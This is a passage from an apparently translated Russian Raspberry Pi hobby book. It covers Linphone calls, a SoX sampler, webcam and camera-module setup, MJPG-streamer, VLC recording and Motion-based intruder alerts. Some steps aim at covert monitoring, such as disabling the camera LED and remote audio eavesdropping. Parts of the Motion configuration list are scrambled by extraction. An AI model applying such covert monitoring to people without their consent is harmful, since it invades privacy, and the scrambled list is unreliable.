Используйте следующую команду, но замените [IP address] IP-адресом
вашего Pi, а [password] - паролем SIP, который вы установили ранее для
пользователя pi:
linphonec> register sip:pi@[IP address] sip:[IP address]
[password]
[ 59 ]

Аудио выходки

7. Это все, что вам нужно, чтобы начать звонить своим коллегам-агентам из
самого Пи. Введите help, чтобы получить список всех команд, которые
принимает Linphone.
Основные команды: call [идентификатор пользователя], чтобы позвонить
кому-нибудь, answer (ответить), чтобы ответить на входящие звонки, и quit
(выйти), чтобы выйти из Linphone. Все сделанные вами настройки будут
сохранены в ~ / .linphonerc и загружены при следующем запуске linphonec.

Воспроизведение файлов с Linphone
Теперь, когда вы знакомы с основами Linphone, давайте рассмотрим некоторые
интересные функции, которых нет в большинстве других программных телефонов.
1. В любой момент (кроме разговора) вы можете переключить Linphone
в файловый режим, что позволяет нам экспериментировать с
альтернативными источниками звука. Используйте эту команду, чтобы
включить файловый режим:
linphonec> soundcard use files

2. Вы помните eSpeak, о котором говорилось ранее в этой главе? Пока вы
отдыхаете, eSpeak может издавать успокаивающий голос, позволяющий вести
целые беседы с вашими агентами. Если у вас его еще нет, сначала установите
eSpeak:
pi@raspberrypi ~ $ sudo apt-get install espeak

Теперь мы говорим Linphone, что сказать дальше:
linphonec> speak english Greetings! I'm a Linphone, obviously.

Это предложение будет произнесено, как только будет установлен звонок. Таким
образом, вы можете либо совершить исходящий звонок, либо ответить на
входящий звонок, чтобы начать разговор, после чего вы можете продолжить
разговор на итальянском языке:
linphonec> speak italian Buongiorno! Mi chiamo Enzo Gorlami.

3. Если вы хотите, чтобы сообщение воспроизводилось автоматически,
когда кто-то звонит, просто включите автоответчик: auto answer:
linphonec> autoanswer enable

4. Как насчет того, чтобы сыграть заранее записанное сообщение или
несколько хороших грувов? Если у вас есть файл WAV или MP3,
который вы хотите воспроизвести по телефону, его сначала необходимо
преобразовать в подходящий формат. Простая команда SoX сделаетсвое
дело:
pi@raspberrypi ~ $ sox "original file.mp3" -c 1 -r 48000 playme.
wav

Теперь мы можем сказать Linphone воспроизвести файл:
linphonec> play playme.wav
[ 60 ]

Глава 2

5. Наконец, вы также можете записать звонок в файл. Обратите внимание,
что может быть записана только удаленная часть разговора, что делает
эту функцию более подходящей для оставления сообщений и тому
подобного. Используйте следующую команду для записи:
linphonec> record message.wav

Бонусный однострочный семплер
Давайте завершим главу тривиальным проектом, у которого есть большой
потенциал для розыгрыша.
1. Сначала сделайте девять коротких образцов, каждый из которых имеет
длину одну секунду, используя следующую команду:
pi@raspberrypi ~ $ sox -t alsa plughw:1 sample.wav trim 0 00:00:01
: newfile : restart

2. Теперь введите эту однострочную команду сэмплера и используйте
цифровые клавиши от 1 до 9 для запуска сэмплов и Ctrl + C для выхода:
pi@raspberrypi ~ $ while true; do read -n 1 -s; sox ~/
sample00$REPLY.wav -d; done

Это небольшой фрагмент сценария bash, в котором команды разделены
символом; символ вместо того, чтобы занимать несколько строк. Он
начинается с истинного бесконечного цикла while, который заставляет
команды, следующие за ним, повторяться снова и снова бесконечно.
Следующая команда - это read -n 1 -s, которая считывает один символ с
клавиатуры и сохраняет его в переменной REPLY. Затем мы запускаем
команду sox для воспроизведения образца, связанного с номером, вставляя
значение REPLY как часть имени файла.
Когда вам надоест собственный голос, замените образцы небольшими
фрагментами диалогов из фильмов!

[ 61 ]

Аудио выходки

Резюме
В этой главе вы многое узнали об аудио в Linux в целом и о звуковой
системе ALSA в частности. Вы знаете, как настроить и протестировать
аудиовыход самой платы Raspberry Pi и как настроить аудиоустройства USB
для записи.
Вы узнали, как использовать SoX для записи звука и сохранения его в
нескольких форматах, как избежать многократного ввода одного и того же
текста с ярлыками и как поддерживать сеанс записи с tmux даже при
нестабильном сетевом подключении.
Вооружившись только программным обеспечением SoX и SSH, мы превратили
наш Pi в очень способное радио - мы можем поставить его в комнате и
слушать, как радионяня, или позволить ему транслировать наш голос и
музыку по всему миру.
Вы также узнали, как применять эффекты SoX, чтобы оживить ваш голос или
позволить Pi создавать шум с помощью eSpeak. Затем мы рассмотрели
несколько различных методов управления временем , связанных со звуком,
включая обнаружение шума.
Наконец, мы создали нашу собственную телефонную сеть с помощью SIP
Witch и подключенных программных телефонов, работающих на самых
разных платформах, включая сам Pi.
В следующей главе мы исследуем мир потокового видео и обнаружения
движения, так что достаньте веб-камеру и готовьтесь к работе.

[ 62 ]

Мастера веб-камеры и видео
Ага, хорошо! По-прежнему с нами наш хитрый кузнечик! На второй день шпионского
класса мы переключим наше восприятие со звука на зрение.
Вы узнаете, как получить максимальную отдачу от своей веб-камеры или модуля
камеры USB, защитить свой периметр, а затем закончить это на высокой ноте
бессмысленным озорством.

Настройка камеры
Для веб-камер USB подключите их и загрузите Pi; мы более подробно
рассмотрим, что заставляет их работать.
Если вы экспериментировали с параметром dwc_otg.speed для
улучшения качества звука в предыдущей главе, вам следует
изменить его сейчас, изменив его значение с 1 на 0, поскольку
есть вероятность, что ваша веб-камера будет работать хуже или
не будет работать вообще. из-за пониженной скорости портов
USB.

Если вы счастливый обладатель модуля камеры Raspberry Pi, выполните
следующие действия, чтобы подключить камеру (видео доступно на
http://www.raspberrypi.org/help / camera-module-setup /, если вам нужно
более наглядное руководство):
1. Перед тем, как брать в руки модуль камеры, заземлите себя, чтобы
избавиться от статического электричества, которое вы могли накопить,
прикоснувшись к радиатору или корпусу ПК.
2. Гибкий плоский кабель подключается к разъему CSI,
расположенному между портами Ethernet и HDMI на плате Pi.
3. Откройте разъем, потянув пластиковый язычок вверх.
4. Повернув синюю сторону к порту Ethernet, вставьте гибкий кабель в
разъем.

Мастера веб-камеры и видео

5. Удерживая гибкий кабель на месте, нажмите на пластиковый язычок, чтобы
зафиксировать кабель. Убедитесь, что кабель равномерно вставлен в
разъем.
6. Объектив камеры может быть закрыт прозрачной голубой пластиковой
пленкой для защиты во время транспортировки. Его следует снять и
выбросить.

Модуль камеры, подключенный к Raspberry Pi

Познакомьтесь с драйверами USB Video
Class и Video4Linux

Подобно тому, как система ALSA предоставляет драйверы ядра и среду
программирования для ваших аудиоустройств, есть два важных компонента,
участвующих в обеспечении работы ваших камер под Linux:


Драйверы Linux USB Video Class (UVC) обеспечивают низкоуровневые
функции для вашей веб-камеры USB, которые соответствуют
спецификациям большинства выпускаемых сегодня веб-камер.



Video4Linux (V4L) - это среда захвата видео, используемая
приложениями, которые записывают видео с камер, ТВ-тюнеров и
других устройств для создания видео.Есть обновленная версия V4L
под названием V4L2, которую мы будем использовать по возможности.
[ 64 ]

Глава 3

Зная свой модуль камеры

После подключения модуля камеры вам необходимо включить поддержку камеры и
ее интерфейса V4L в Raspbian. Чтобы включить камеру, выполните следующие
действия:
1. Запустите raspi-config следующей командой:
pi@raspberrypi ~ $ sudo raspi-config

2. Выберите Enable Camera - Включить камеру и Enable - Включить, затем Finish Готово и перезагрузите Pi.
3. Запишите 10-секундное тестовое видео, чтобы убедиться, что камера работает:
pi@raspberrypi ~ $ raspivid -o camtest.h264 -t 10000

Затем воспроизведите это:
pi@raspberrypi ~ $ omxplayer camtest.h264

4. Последнее, что нам нужно сделать, это сделать наш модуль камеры
доступным для других приложений через стандартный интерфейс V4L. Нам
нужно убедиться, что определенный модуль ядра загружается во время
загрузки. Откройте / etc / modules для редактирования:
pi@raspberrypi ~ $ sudo nano /etc/modules

Создайте новую строку под snd-bcm2835 (модуль звукового ядра Pi) и
добавьте эту строку:
bcm2835_v4l2

Теперь нажмите Ctrl + X, чтобы выйти, и выберите y, когда будет
предложено сохранить измененный буфер, затем нажмите клавишу
Enter, чтобы подтвердить имя файла для записи.
5. Перезагрузите Pi и используйте следующие команды, чтобы убедиться,
что модуль камеры теперь доступен через интерфейс V4L:
pi@raspberrypi ~ $ v4l2-ctl --list-devices

Вывод должен показать службу mmal, доступную через / dev / video0.
Введите эту команду, чтобы включить наложение
предварительного просмотра видео на вашем мониторе:
pi@raspberrypi ~ $ v4l2-ctl --overlay=1

Если ваша камера перевернута, просто переверните ее с помощью
следующей команды:
pi@raspberrypi ~ $ v4l2-ctl -c vertical_flip=1

Изучите классные эффекты камеры, задав число от 1 до 15:
pi@raspberrypi ~ $ v4l2-ctl -c color_effects=5
[ 65 ]

Мастера веб-камеры и видео

Введите следующую команду, чтобы снова отключить оверлейное окно:
pi@raspberrypi ~ $ v4l2-ctl --overlay=0

6. Для оптимального использования в незаметных ситуациях вы также можете
рассмотреть возможность отключения красного светодиода, чтобы
злоумышленники не направлялись прямо к камере.
Откройте /boot/config.txt для редактирования:
pi@raspberrypi ~ $ sudo nano /boot/config.txt

Создайте новую строку и добавьте следующую директиву конфигурации, затем
перезагрузитесь:
disable_camera_led=1

7. Теперь модуль вашей камеры готов к работе с MJPG-streamer! Имейте в
виду, что, хотя модуль камеры может записывать видео с разрешением
1920 x 1080 пикселей при 30 кадрах в секунду, вы должны установить его
намного ниже для надежной потоковой передачи по сети. Начните с
низкого разрешения 640 x 480 и постепенно увеличивайте его.

Знакомство с вашей веб-камерой USB

Давайте посмотрим, что мы можем узнать об обнаружении вашей веб-камеры,
используя следующую команду:
pi@raspberrypi ~ $ dmesg

Команда dmesg используется для получения списка всех информационных
сообщений ядра, которые были записаны с момента загрузки Pi. В куче
сообщений мы ищем уведомление от модуля uvcvideo.

Сообщения ядра, указывающие на найденную веб-камеру

На предыдущем снимке экрана веб-камера Logitech C110 была обнаружена и
зарегистрирована модулем uvcvideo. Обратите внимание на загадочную
последовательность символов 046d: 0829 рядом с названием модели. Это
идентификатор устройства веб-камеры, который может оказаться большим
подспорьем, если вам нужно найти информацию, относящуюся к вашей
конкретной модели.

[ 66 ]

Глава 3

Узнаем возможности вашей веб-камеры
Прежде чем мы начнем захватывать видео с помощью нашей веб-камеры, очень важно
точно выяснить, на что она способна с точки зрения видеоформатов и разрешений. Чтобы
помочь нам в этом, мы добавим в наш арсенал утилиту uvcdynctrl, используя следующую
команду:
pi@raspberrypi ~ $ sudo apt-get install uvcdynctrl

Начнем с самого главного - списка поддерживаемых форматов кадров. Чтобы
увидеть этот список, введите следующую команду:
pi@raspberrypi ~ $ uvcdynctrl -f

Список форматов кадров, поддерживаемых веб-камерой

Согласно выводам этой конкретной веб-камеры, поддерживаются два основных
формата пикселей. Первый формат, называемый YUYV или YUV 4: 2: 2,
представляет собой необработанный несжатый видеоформат, второй формат,
называемый MJPG или MJPEG, предоставляет видеопоток сжатыхизображений
JPEG.
Под каждым форматом пикселей мы находим поддерживаемые размеры
кадров и частоту кадров для каждого размера. Размер кадра или разрешение
изображения будут определять количество деталей, видимых в видео. Три
распространенных разрешения для веб-камер: 320 x 240, 640 x 480.
(также называется VGA) и 1024 x 768 (также называется XGA).
Частота кадров измеряется в кадрах в секунду (fps) и определяет, насколько
плавно будет выглядеть видео. Только две разные частоты кадров, 15 и 30
кадров в секунду, доступны для каждого размера кадра на этой конкретной
веб-камере.
[ 67 ]

Мастера веб-камеры и видео

Теперь, когда вы знаете немного больше о своей веб-камере, если вам
посчастливилось оказаться невезучим владельцем камеры, которая не
поддерживает формат пикселей MJPEG, вы все равно можете продолжить,
но не ожидайте большего, чем слайд-шоу изображений на 320 x 240 с вашей
веб-камеры.Обработка видео - одно из наиболее ресурсоемких операций,
которые вы можете выполнять с помощью Pi, поэтому вам понадобится
веб-камера, чтобы помочь с этим, сначала сжимая кадры.

Захват вашей цели на пленку

Хорошо, давай посмотрим, на что способен твой хитрый стеклянный глаз!
Мы будем использовать отличную программу под названием MJPG-streamer для
всех наших потребностей при съемке с камеры. К сожалению, она недоступна
как простой в установке пакет для Raspbian, поэтому нам придется загрузить и
собрать эту программу самостоятельно:
1.

Часто, когда мы компилируем программу из исходного кода, приложение,
которое мы создаем, захочет использовать библиотеки кода и заголовки
разработки.
Наше приложение MJPG-streamer, например, хотело бы включать функции
дляработы сизображениями JPEG и устройствами Video4Linux.
Установите библиотеки и заголовки для JPEG и V4L, введя следующую
команду:
pi@raspberrypi ~ $ sudo apt-get install libjpeg8-dev libv4l-dev

2. Далее мы собираемся загрузить исходный код MJPG-стримера, используя
следующую команду:
pi@raspberrypi ~ $ wget http://www.intestinate.com/mjpg-streamer.
tar.gz

Утилита wget - чрезвычайно удобный инструмент для загрузки из
Интернета, имеющий множество применений. Здесь мы используем
его для получения сжатого файла TAR или tarball.
3. Теперь нам нужно извлечь наш файл mjpg-streamer.tar.gz, используя
следующую команду:
pi@raspberrypi ~ $ tar -xvf mjpg-streamer.tar.gz

Команда tar может как создавать, так и извлекать архивы, поэтому мы
предоставляем здесь три флага: x для извлечения, v для подробного (чтобы
мы могли видеть, куда извлекаются файлы) и f, чтобы указать tar
использовать указанный файл. как ввод, вместо чтения из стандартного
ввода.
4. После извлечения войдите в каталог, содержащий исходные коды:
pi@raspberrypi ~ $ cd mjpg-streamer
[ 68 ]

Глава 3

5. Теперь введите следующую команду для сборки MJPG-стримера с
поддержкой устройств V4L2:
pi@raspberrypi ~/mjpg-streamer $ make USE_LIBV4L2=true

6. После завершения процесса сборки нам нужно установить полученные
двоичные файлы и другие данные приложения в более постоянное
место, используя следующую команду:
pi@raspberrypi ~/mjpg-streamer $ sudo make DESTDIR=/usr install

7. Теперь вы можете выйти из каталога, содержащего исходники, и
удалить его, так как он нам больше не понадобится:
pi@raspberrypi ~/mjpg-streamer $ cd .. && rm -r mjpg-streamer

8. Запустим наш новый MJPG-стример! Введите следующую команду, но
отрегулируйте значения разрешения и частоты кадров до умеренного
значения, которое, как вы знаете (из предыдущего раздела), сможет
обрабатывать ваша камера:
pi@raspberrypi ~ $ mjpg_streamer -i "input_uvc.so -r 640x480 -f
30" -o "output_http.so -w /usr/www"

Запуск MJPG-стримера

Возможно, вы получили несколько сообщений об ошибках, в которых
говорилось, что ioctl неприемлемо для устройства; их можно спокойно
игнорировать. Помимо этого, вы могли заметить, что светодиод на
вашей камере (если он есть) загорается, поскольку MJPG-streamer
теперь обслуживает ваш канал камеры по протоколу HTTP на порту
8080. Нажмите Ctrl + C в любое время, чтобы выйти из стримера MJPG .
9. тобы настроиться на ленту, откройте веб-браузер на компьютере,
подключенном к той же сети, что и Pi, и введите следующую строку в
поле адреса вашего браузера, но измените [IP- address] на IP-адрес
вашего Pi. :
http://[IP address]:8080

[ 69 ]

Мастера веб-камеры и видео

Теперь вы должны смотреть на демонстрационные страницы
MJPG-streamer, содержащие снимок с вашей камеры.

Демонстрационные страницы MJPG-стримера в браузере

Давайте посмотрим на различные методы, доступные для получения данных
изображения с вашей камеры:


На странице «Static» показан простейший способ получения одного
кадра моментального снимка с камеры. В примере используется http: //
[IP-адрес]: 8080 /? Action = snapshot для захвата одного кадра. Просто
обновите окно браузера, чтобы получить новый снимок. Вы можете легко
встроить это изображение на свой веб-сайт или в блог, используя
HTML-тег , но
вам придется указать IP-адрес вашего Pi, доступного в Интернете для
всех, кто находится за пределами вашей локальной сети, чтобы увидеть
его, как описано в разделе "Изучение динамического DNS,
переадресации портов и туннелирования главы 4, Розыгрыши Wi-Fi Изучение вашей сети".
На странице Stream показан лучший способ получения видеопотока с
вашей камеры. Этот метод полагается на встроенную поддержку
вашего браузера для декодирования потоков MJPEG и должен
нормально работать в большинстве браузеров, кроме Internet Explorer.
Прямой URL для потока - http: // [IP-адрес]: 8080 /? Action = stream.
[ 70 ]

Глава 3

Вниманию пользователей Google Chrome
Как ни странно, недавно Chrome перестал поддерживать
прямой просмотр потоков MJPEG. Потоки должны быть
встроены с тегом img на веб-страницу для рендеринга. Вот
почему страница Stream работает, а прямой URL-адрес - нет.





Страница Java пытается загрузить приложение Java под названием Cambozola,
которое можно использовать в качестве средства просмотра потока. Если у вас
еще не установлен плагин для браузера Java, вы должны держаться подальше от
этой страницы. Хотя программа просмотра Cambozola, безусловно, имеет
некоторые изящные функции, риски безопасности, связанные с плагином,
перевешивают преимущества программы просмотра.
Страница JavaScript демонстрирует альтернативный способ отображения
видеопотока в вашем браузере. Этот метод также работает в Internet Explorer.
Он полагается на код JavaScript для непрерывного извлечения новых кадров
снимков с камеры в цикле. Обратите внимание, что этот метод создает
большую нагрузку на ваш браузер, чем предпочтительный метод встроенного
потока. Вы можете изучить код JavaScript, просмотрев исходный код страницы
http: // [IP-адрес]: 8080 / javascript_simple.html.



Страница VideoLAN содержит ярлыки и инструкции для открытия
видеопотока камеры в медиаплеере VLC. В этой главе мы
познакомимся с VLC достаточно хорошо; пока оставьте ее в покое.



Страница Control предоставляет удобный интерфейс для настройки
параметров изображения веб-камеры. Страница должна появиться в
собственном окне браузера, чтобы вы могли просматривать поток
веб-камеры в прямом эфире, одновременно изменяя элементы
управления.

Просмотр вашей камеры в медиаплеере VLC

Возможно, вас вполне устраивает текущая настройка камеры и просмотр
потока в браузере; Для тех из вас, кто предпочитает смотреть все видео в
своем любимом медиаплеере, этот раздел для вас. Также обратите внимание,
что далее в этой главе мы будем использовать VLC для других целей,
поэтому мы рассмотрим установку здесь.

Просмотр в Windows

Давайте установим VLC и откроем поток камеры, выполнив следующие действия:
1. Посетите http://www.videolan.org и загрузите последнюю версию
установочного пакета VLC (vlc-2.1.5-win32.exe, на момент написания).
2. Установите медиаплеер VLC с помощью установщика.
3. Запустите VLC с помощью ярлыка на рабочем столе или из меню «Пуск».
[ 71 ]

Мастера веб-камеры и видео

4. В раскрывающемся меню «Мультимедиа» выберите «Открыть сетевой поток…».
5. Введите URL прямого потока, который мы узнали на
демонстрационных страницах MJPG-streamer (http: // [IP-адрес]:
8080 /? Action = stream), и нажмите кнопку «Play - Воспроизвести».
6. (Необязательно) Вы можете добавить мониторинг звука в реальном
времени с веб-камеры, открыв окно командной строки и введя
командную строку, которую вы узнали из раздела «Прослушивание
разговоров на расстоянии» в главе 2 «Звуковые выходки»:
C:\ "C:\Program Files (x86)\PuTTY\plink" pi@[IP address] -pw
[password] sox -t alsa plughw:1 -t sox - | "C:\Program Files
(x86)\sox-14-4-1\sox" -q -t sox - -d

Просмотр в Mac OS X

Давайте установим VLC и откроем поток камеры:
1. Посетите http://www.videolan.org и загрузите последнюю версию
установочного пакета VLC (vlc-2.1.5.dmg на момент написания).
2. Дважды щелкните образ диска VLC и перетащите значок VLC в
папку «Applications - Приложения».
3. Запустите VLC из папки Applications.
4. В раскрывающемся меню «Файл» выберите « Open Network… - Открыть сеть…».
5. Введите URL прямого потока, который вы узнали на
демонстрационных страницах MJPG-streamer (http: // [IP-адрес]:
8080 /? Action = stream), и нажмите кнопку « Open - Открыть».
6. (Необязательно) Вы можете добавить мониторинг звука в реальном
времени с веб-камеры, открыв окно Терминала (расположенное в /
Applications / Utilities) и введя командную строку, которую вы узнали из
раздела «Прослушивание разговоров на расстоянии» в главе 2, Аудио
выходки:
$ ssh pi@[IP address] sox -t alsa plughw:1 -t sox - | sox -q -t
sox - -d

Просмотр в Linux
Давайте установим VLC или MPlayer и откроем поток камеры:
1. Используйте диспетчер пакетов вашего дистрибутива, чтобы
добавить пакет vlc или mplayer.
2. Для VLC либо используйте графический интерфейс, чтобы открыть
сетевой поток, либо запустите его из командной строки с помощью
этой команды:
$ vlc http://[IP address]:8080/?action=stream

[ 72 ]

Глава 3

3. Для MPlayer вам нужно пометить расширение файла MJPG для
потока, используя следующую команду:
$ mplayer -demuxer lavf "http://[IP address]:8080/?action=stream&s
tream.mjpg"

4. (Необязательно) Вы можете добавить мониторинг звука в реальном
времени с веб-камеры, открыв Терминал и введя командную строку,
которую вы изучили в разделе «Прослушивание разговоров на
расстоянии» главы 2 «Звуковые выходки»:
$ ssh pi@[IP address] sox -t alsa plughw:1 -t sox - | sox -q -t
sox - -d

Запись видеопотока
Лучший способ сохранить видеоклип из потока - записать его с помощью VLC и
сохранить в контейнер файлов AVI. С помощью этого метода мы можем
сохранить сжатие MJPEG при сохранении информации о частоте кадров.
К сожалению, записать видео с веб-камеры со звуком у вас не
получится. Невозможно автоматически синхронизировать звук с
потоком MJPEG. Единственный способ создать видеофайл со
звуком - это захватить видео и аудиопотоки по отдельности и
отредактировать их вместе вручную в приложении для
редактирования видео, таком как VirtualDub.

Запись в Windows
Мы собираемся запустить VLC из командной строки для записи нашего видео:
1. 1. Откройте окно командной строки из меню «Пуск», щелкнув ярлык
или введя cmd в поле «Выполнить / Поиск». Затем введите
следующую команду, чтобы начать запись видеопотока в файл
myvideo.avi, расположенный на рабочем столе:
C:\> "C:\Program Files (x86)\VideoLAN\VLC\vlc.exe" http://[IP
address]:8080/?action=stream --sout="#standard{mux=avi,dst=%UserPr
ofile%\Desktop\myvideo.avi,access=file}"

Как мы упоминали ранее, если в вашей конкретной версии Windows нет
папки C: \ Program Files (x86), просто удалите часть (x86) из пути в
командной строке.
2. Может показаться, что ничего особенного не происходит, но теперь
на вашем рабочем столе должна быть растущая запись myvideo.avi.
Чтобы убедиться, что VLC действительно записывает, мы можем
выбрать Media Information в раскрывающемся меню Tools, а затем
выбрать вкладку Statistics. Чтобы остановить запись, просто закройте
VLC.
[ 73 ]

Мастера веб-камеры и видео

Запись в Mac OS X
Мы запустим VLC из командной строки для записи нашего видео:
1. Откройте окно терминала (расположенное в / Applications / Utilities) и
введите следующую команду, чтобы начать запись видеопотока в файл
myvideo.avi, расположенный на рабочем столе:
$ /Applications/VLC.app/Contents/MacOS/VLC http://[IP
address]:8080/?action=stream --sout='#standard{mux=avi,dst=/Users/
[username]/Desktop/myvideo.avi,access=file}'

Замените [имя пользователя] именем учетной записи, которую вы
используете для входа на свой Mac, или удалите путь к каталогу для записи
видео в текущий каталог.
2. Может показаться, что ничего особенного не происходит, но теперь
на вашем рабочем столе должна быть растущая запись myvideo.avi.
Чтобы подтвердить, что VLC действительно записывает, мы можем
выбрать Media Information в раскрывающемся меню Window, а
затем выбрать вкладку Statistics. Чтобы остановить запись, просто
закройте VLC.

Запись в Linux
Мы запустим VLC из командной строки для записи нашего видео:
1. Откройте Терминал и введите следующую команду, чтобы начать запись
видеопотока в файл myvideo.avi, расположенный на рабочем столе:
$ vlc http://[IP address]:8080/?action=stream
--sout='#standard{mux=avi,dst=/home/[username]/Desktop/myvideo.
avi,access=file}'

Замените [username] своим именем для входа или удалите путь к
каталогу, чтобы записать видео в текущий каталог.
2. Может показаться, что ничего особенного не происходит, но теперь
на вашем рабочем столе должна быть растущая запись myvideo.avi.
Чтобы убедиться, что VLC действительно записывает, мы можем
выбрать Media Information в раскрывающемся меню Tools, а затем
выбрать вкладку Statistics. Чтобы остановить запись, просто закройте
VLC.

Обнаружение злоумышленника и
включение сигнализации
Давайте погрузимся в чудесный мир обнаружения движения!
[ 74 ]

Глава 3

Основная идея обнаружения движения довольно проста с компьютерной
точки зрения - программа обнаружения движения обрабатывает непрерывный
поток изображений и анализирует положение пикселей, составляющих
изображение. Если группа смежных пикселей выше определенного порога
начинает меняться от одного кадра к другому, это должно быть что-то
движущееся. Сложная часть обнаружения движения - отсеивание ложных
срабатываний, вызванных естественными изменениями освещения и
погодных условий.
Шаги по настройке обнаружения движения следующие:
1. Мы будем работать с приложением для обнаружения движения
под названием Motion. Установите его с помощью обычной команды:
pi@raspberrypi ~ $ sudo apt-get install motion

После установки Motion следующим шагом будет создание файла
конфигурации для нашей камеры. При установке Motion образец
файла конфигурации помещается в каталог / etc / motion. Мы будем
использовать этот файл конфигурации в качестве шаблона и
модифицировать его для наших нужд.
2. Создайте каталог конфигурации для Motion в вашем домашнем
каталоге с помощью следующей команды:
pi@raspberrypi ~ $ mkdir ~/.motion

3. Затем скопируйте пример конфигурации из / etc / motion в
новый каталог:
pi@raspberrypi ~ $ sudo cp /etc/motion/motion.conf ~/.motion

4. Файл конфигурации по-прежнему принадлежит пользователю root,
поэтому давайте сделаем его нашим с помощью команды chown:
pi@raspberrypi ~ $ sudo chown pi:pi ~/.motion/motion.conf

5. Теперь мы можем открыть файл конфигурации для редактирования:
pi@raspberrypi ~ $ nano ~/.motion/motion.conf

Создание начальной конфигурации движения
У Motion есть множество возможностей для изучения, и все они легко могут вас
ошеломить. На данный момент мы стремимся получить базовую
демонстрационную установку с как можно меньшим количеством наворотов. Как
только мы убедимся, что основная функция обнаружения движения работает
должнымобразом, мы можем перейти к расширенным дополнительным функциям
Motion.
Помимо обычных полезных комментариев, которым предшествует символ #,
оператор; используется, чтобы сделать отдельные директивы конфигурации
неактивными. ; tunerdevice / dev / tuner0, например, означает, что строка будет
игнорироваться движением.
[ 75 ]

Мастера веб-камеры и видео

Теперь мы рассмотрим директивы конфигурации и остановимся, чтобы
объяснить или изменить параметры сверху вниз:


videodevice, v4l2_palette, width, height и framerate: действительно важно
обновить эти директивы, если вы хотите, чтобы Motion захватил видео
прямо с вашей камеры. Однако мы этого делать не будем. Вместо этого
мыбудем передавать видеопоток, который мы уже настроили с помощью
MJPG-streamer, в Motion. Мы сделаем это по трем причинам:
°°

MJPG-streamer просто лучше захватывает видео с камерс
использованием расширенных функций V4L2

°°



Вы узнаете, как подключить обычные IP-камеры
видеонаблюдения к Motion
°° Мы можем использовать крошечный HTTP-сервер
MJPG-streamer, и вы можете продолжать смотреть свой поток с
высокой частотой кадров
netcam_url: раскомментируйте и измените эту строку следующим образом:
netcam_url http://localhost:8080/?action=stream

Директива netcam_url используется для передачи данных с сетевых
камер в Motion, как и наш канал MJPG-стримера. Поскольку мы
запускаем MJPG-streamer на том же компьютере, что и Motion, мы
используем localhost вместо IP-адреса Pi.


netcam_http: раскомментируйте и измените эту строку следующим образом:
netcam_http 1.1

Это ускоряет общение с MJPG-стримером.



gap: измените значение промежутка на 2 для этой начальной настройки.

Это будет время в секундах, которое потребуется для сброса сигнала
тревоги во время тестирования системы.
output_normal: сейчас отключите этот параметр, поскольку нам не
нужно сохранять снимки в формате JPG, пока мы все не настроим.



ffmpeg_cap_new: отключите этот параметр во время настройки; нам



locate: установите для этого параметра значение «On - Вкл.» При



text_changes: Также измените этот параметр на on для нашей начальной



webcam_maxrate: измените это значение, чтобы оно соответствовало

также не нужно записывать видео, пока мы не все настроим.

первоначальной настройке, поскольку это поможет вам понять процесс
обнаружения движения.
настройки, так как это поможет нам установить чувствительность.
частоте кадров вашего видеопотока MJPG-стримера.
[ 76 ]

Глава 3



webcam_localhost: вам нужно отключить этот параметр, потому что



control_port: это значение необходимо изменить на 7070 (или любое



control_localhost: это значение также необходимо изменить на off, поскольку



on_event_start: раскомментируйте и измените строку следующим образом::

мы будем контролировать веб-камеру с другого компьютера, а не с Pi.
другое число выше 1024), потому что оно в настоящее время
конфликтует с портом, который мы используем для MJPG-streamer.

мы будем получать доступ к движению с другого компьютера, а не с Pi.
on_event_start speaker-test -c1 -t sine -f 1000 -l 1

Это наш временный сигнал тревоги. Не волнуйтесь, через минуту мы
найдем что-нибудь получше.
На данный момент это все, нажмите Ctrl + X для выхода, нажмите y, когда будет
предложено сохранить измененный буфер, а затем нажмите Enter, чтобы
подтвердить имя файла для записи.

Конфигурация начальной настройки движения

Пробуем движение
Хорошо, давайте попробуем нашу систему движения, выполнив следующую процедуру:
1. Сначала убедитесь, что MJPG-стример запущен. Вы можете
запустить его в фоновом режиме, применив флаг -b, как показано в
следующей команде:
pi@raspberrypi ~ $ mjpg_streamer -b -i "input_uvc.so -r 640x480 -f
30" -o "output_http.so -w /usr/www"

[ 77 ]

Мастера веб-камеры и видео

Обратите внимание на число в скобках, которое mjpg_streamer
предоставляет при разветвлении в фоновом режиме. Это называется
идентификатором процесса (PID), и его можно использовать для
остановки приложения mjpg_streamer, передав его команде kill:
pi@raspberrypi ~ $ kill [PID]

Вы можете изучить все процессы, запущенные на
вашем Pi, с помощью следующей команды:
pi@raspberrypi ~ $ ps aux

2. Направьте веб-камеру подальше от себя и от любых движений в
комнате и введите следующую команду:
pi@raspberrypi ~ $ motion

Нажмите Ctrl + C в любой момент, чтобы выйти из Motion.

Движение при включении одной камеры

3. Теперь попробуйте помахать рукой перед веб-камерой. Если ваш Pi
отправил пронзительную ноту через динамики, и вы видите сообщения от
приложения для тестирования динамиков на консоли, мы справились с
базовым обнаружением движения! Даже если вы ничего не запустили,
продолжайте читать, чтобы узнать, что происходит с системой
обнаружения
4. В своем веб-браузере перейдите по следующему адресу:
http://[IP address]:8081

Порт 8081 - это порт по умолчанию для первой прямой трансляции с
камеры Motion.
Вы должны смотреть на свой канал из MJPG-streamer, но с несколькими
ключевыми отличиями: часы в правом нижнем углу и количество
измененных пикселей в правом верхнем углу. Если вместо этого вы
смотрите на серое изображение с текстом, неспособным открыть
видеоустройство, скорее всего, проблема связана с MJPG-streamer или
строкой netcam_url.
[ 78 ]

Глава 3

Изучение количества измененных пикселей - один из лучших способов
понять систему обнаружения движения. Число будет увеличиваться
всякий раз, когда вы перемещаете камеру, но должно остановиться на
нуле, поскольку Motion узнает об источниках света и применяет
автоматический фильтр шума, чтобы минимизировать риск ложных
срабатываний.
Вниманию пользователей Google Chrome
Чтобы узнать, как встроить этот прямой поток MJPEG в
HTMLстраницу, чтобы ее можно было просматривать в Chrome,
ознакомьтесь с предстоящим разделом Создание стены
мониторинга безопасности в этой главе.

5. Теперь, если вы помашете рукой перед камерой, счетчик пикселей
должен увеличиться, и прямоугольник будет нарисован на тех областях
изображения, где Motion обнаружило самые большие изменения в
пикселях.
Если количество пикселей превышает пороговое значение (по
умолчанию 1500), установленное в файле конфигурации, срабатывает
событие, которое в настоящее время настроено на воспроизведение
высокого тона.
Если движение не было обнаружено в течение количества секунд,
указанного значением промежутка (60 по умолчанию, в настоящее
время 2), событие заканчивается, и может начаться новое событие.
6. Давайте рассмотрим альтернативный метод настройки системы
обнаружения, называемый режимом настройки. Откройте новую вкладку в
браузере и введите адресhttp: // [IP-адрес]: 7070 в адресной строке.
Здесь вы видите простой интерфейс веб-администратора для
управления движением.Когда мы подключаем к Motion более одной
камеры, каждая камера будет иметь свой собственный поток и
конфигурацию, но сейчас есть только один поток и одна конфигурация
